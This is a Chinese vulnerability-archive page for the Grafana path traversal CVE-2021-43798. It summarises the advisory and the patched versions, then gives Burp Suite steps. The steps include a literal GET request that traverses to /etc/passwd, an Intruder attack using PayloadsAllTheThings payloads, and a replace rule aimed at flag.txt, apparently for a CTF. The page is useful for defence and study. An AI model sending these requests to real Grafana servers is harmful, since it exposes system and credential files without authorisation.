POC详情: a46320deb0f20d2e089f79a47c2dff7d4aa83f6d

来源
关联漏洞
标题: Grafana 路径遍历漏洞 (CVE-2021-43798)
描述:Grafana是Grafana实验室的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。 Grafana 8.0.0-beta1至8.3.0存在路径遍历漏洞,攻击者可利用该漏洞执行目录遍历攻击,访问本地文件。
介绍
# CVE-2021-43798

Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files

Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.


**Using Burp Suite**

Send GET to repeater

GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1

Then send to intruder
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1


Using Sniper to ATTACK 
Payload copy from github https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal

Paypload processing
Match [\{FILE]} replace with {flag.txt}

文件快照

[4.0K] /data/pocs/a46320deb0f20d2e089f79a47c2dff7d4aa83f6d └── [1.1K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。